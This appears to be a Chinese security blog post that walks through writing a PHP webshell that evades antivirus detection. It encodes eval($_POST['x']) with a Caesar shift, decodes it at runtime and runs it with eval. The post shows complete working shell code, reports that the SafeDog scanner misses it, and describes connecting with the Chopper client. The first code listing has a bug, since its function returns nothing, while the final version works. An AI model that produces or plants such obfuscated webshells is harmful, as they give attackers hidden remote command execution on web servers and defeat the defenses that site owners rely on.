
这里必须强调一下我内心的感觉,小阔爱前两天也研究了过狗的一句话了,然后我突然觉得大家都在进步,我研究点啥呢?不如也试试以前因为觉得自己不懂代码,而不会研究的免杀shell吧。
很多人都在说过狗的方法,大致总结一下就是:函数封包,函数回调等。
我这里用到的一个方法就是编码,当然不是普通的base64编码了,是自己写了一个凯撒密码解密的函数,将eval($_POST['x']);转码为凯撒密文$arr="j{fq-)dUTXY}b.@"; ,存放到$str变量中。
然后写函数解码:
[AppleScript] 纯文本查看 复制代码
1
2
3
4
5
|
function tony ( $arr ) { for ( $i = 0 ;$i < strlen ( $arr ) ;$i + + ) { $arr[$i] = chr ( ord ( $arr[$i] ) -5 ) ; } } |
我的凯撒密码采用按ascii码进行向ascii增大的方向移动5位得到的密文,所以向ascii减小的方向移动5位来解码。
然后再用eval执行以下tony函数解密的$arr即可。
完整代码:
[PHP] 纯文本查看 复制代码
1
2
3
4
5
6
7
8
9
|
<?php $arr = "j{fq-)dUTXY`}b.@" ; function tony( $arr ){ for ( $i =0; $i < strlen ( $arr ); $i ++){ $arr [ $i ]= chr (ord( $arr [ $i ])-5); } } eval (tony( $arr )); ?> |
[color=rgb(153, 153, 153) !important]PHP
如图:

执行成功,我们用安全狗扫描一下:

OK,安全狗没有扫描到。
那么我们来用菜刀链接一下:

又出了情况,旧版菜刀链接被防火墙拦截,我问了下接地气,这个原因出在菜刀提交的数据被防火墙拦截了,让我去测试一下菜刀2016版的,测试结果:

可以连接上。
0x3 代码优化
功能和免杀都已经达到了,但是代码还不够简介,还可以再优化一下。
1.函数可以去掉 只保留for循环
2.用凯撒编码 只编码$_POST[x]---encode--->)dUTXY}b,去掉eval()因为后面要用eval来执行,相当于重复了。

报错了,先输出一下$arr看看是否正常。

这里正常没问题,那就是eval没有把代码执行?
再加一个eval 发现还是不行!

将凯撒密文改成之前的eval($_POST[x]);的密文
:

执行却可以了。
测试是否免杀:

依然免杀
功能测试:

可以链接,最终代码:
[PHP] 纯文本查看 复制代码
1
2
3
4
5
6
7
|
<?php $arr = "j{fq-)dUTXY`}b.@" ; for ( $i =0; $i < strlen ( $arr ); $i ++){ $arr [ $i ]= chr (ord( $arr [ $i ])-5); } eval ( $arr ); ?> |
本文来自: 蜗蜗侠's Blog-关注网络安全 http://blog.icxun.cn/Share/238.html